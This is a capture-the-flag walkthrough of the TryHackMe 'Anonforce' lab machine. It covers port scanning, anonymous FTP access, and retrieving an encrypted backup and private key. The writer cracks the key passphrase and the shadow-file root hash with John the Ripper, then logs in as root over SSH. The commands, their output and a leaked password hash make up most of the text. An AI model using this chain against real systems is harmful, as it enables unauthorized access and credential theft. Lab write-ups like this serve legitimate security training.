Anonforce
tags: OSCP THM
1. Port Scanning
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
| drwxr-xr-x 17 0 0 3700 Jun 27 19:02 dev
| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
| drwx------ 2 0 0 16384 Aug 11 2019 lost+found
| drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
| drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
| drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable]
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
| dr-xr-xr-x 103 0 0 0 Jun 27 19:02 proc
| drwx------ 3 0 0 4096 Aug 11 2019 root
| drwxr-xr-x 18 0 0 540 Jun 27 19:02 run
| drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
| dr-xr-xr-x 13 0 0 0 Jun 27 19:02 sys
| drwxrwxrwt 9 0 0 4096 Jun 27 19:02 tmp [NSE: writeable]
| drwxr-xr-x 10 0 0 4096 Aug 11 2019 usr
| drwxr-xr-x 11 0 0 4096 Aug 11 2019 var
| lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
|_lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.17.8.184
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
| 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Information gathered:
- FTP running on port 21, with anon login allowed!
- SSH open
A full scan does not reveal any additional information.
2. FTP: Anonymous Login
We explore a bit.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 .
drwxr-xr-x 3 0 0 4096 Aug 11 2019 ..
-rw------- 1 0 0 117 Aug 11 2019 .bash_history
-rw-r--r-- 1 1000 1000 220 Aug 11 2019 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Aug 11 2019 .bashrc
drwx------ 2 1000 1000 4096 Aug 11 2019 .cache
drwxrwxr-x 2 1000 1000 4096 Aug 11 2019 .nano
-rw-r--r-- 1 1000 1000 655 Aug 11 2019 .profile
-rw-r--r-- 1 1000 1000 0 Aug 11 2019 .sudo_as_admin_successful
-rw-r--r-- 1 0 0 183 Aug 11 2019 .wget-hsts
-rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt
226 Directory send OK.
ftp> pwd
257 "/home/melodias" is the current directory
We get the user.txt file!
3. More Exploration
I noticed a directory named /notread, with all the permissions :o
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 1000 524 Aug 11 2019 backup.pgp
-rwxrwxrwx 1 1000 1000 3762 Aug 11 2019 private.asc
226 Directory send OK.
ftp> pwd
257 "/notread" is the current directory
ftp> get backup.pgp
local: backup.pgp remote: backup.pgp
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.pgp (524 bytes).
226 Transfer complete.
524 bytes received in 0.00 secs (5.6787 MB/s)
ftp> get private.asc
local: private.asc remote: private.asc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for private.asc (3762 bytes).
226 Transfer complete.
3762 bytes received in 0.00 secs (10.5833 MB/s)
ftp>
221 Goodbye.
Looks like we have pgp and asc files. Here’s what to do next.
- Import private.asc key
- if it asks for a password, use
gpg2johnto get the passphase - decrypt the pgp key
Easy!
4. To root!
┌──(kali㉿kali)-[/tmp]
└─$ gpg2john private.asc > hash
File private.asc
┌──(kali㉿kali)-[/tmp]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{password_here!} (anonforce)
1g 0:00:00:00 DONE (2021-06-27 22:31) 20.00g/s 18600p/s 18600c/s 18600C/s lolipop..sheena
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌──(kali㉿kali)-[/tmp]
└─$ gpg --import private.asc
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg: unchanged: 2
gpg: secret keys read: 1
gpg: secret keys imported: 1
┌──(kali㉿kali)-[/tmp]
└─$ gpg --decrypt backup.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
"anonforce <melodias@anonforce.nsa>"
root:{root_details_were_here}
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18120:0:99999:7:::
uuidd:*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
sshd:*:18120:0:99999:7:::
ftp:*:18120:0:99999:7:::
Let’s try going to root directly?
┌──(kali㉿kali)-[/tmp]
└─$ john root --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{root_password_yes!} (root)
1g 0:00:00:00 DONE (2021-06-27 22:33) 1.111g/s 7680p/s 7680c/s 7680C/s horoscope..better
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌──(kali㉿kali)-[/tmp]
└─$ ssh root@10.10.66.12
The authenticity of host '10.10.66.12 (10.10.66.12)' can't be established.
ECDSA key fingerprint is SHA256:5evbK4JjQatGFwpn/RYHt5C3A6banBkqnngz4IVXyz0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.66.12' (ECDSA) to the list of known hosts.
root@10.10.66.12's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ubuntu:~# ls
root.txt
And we are done!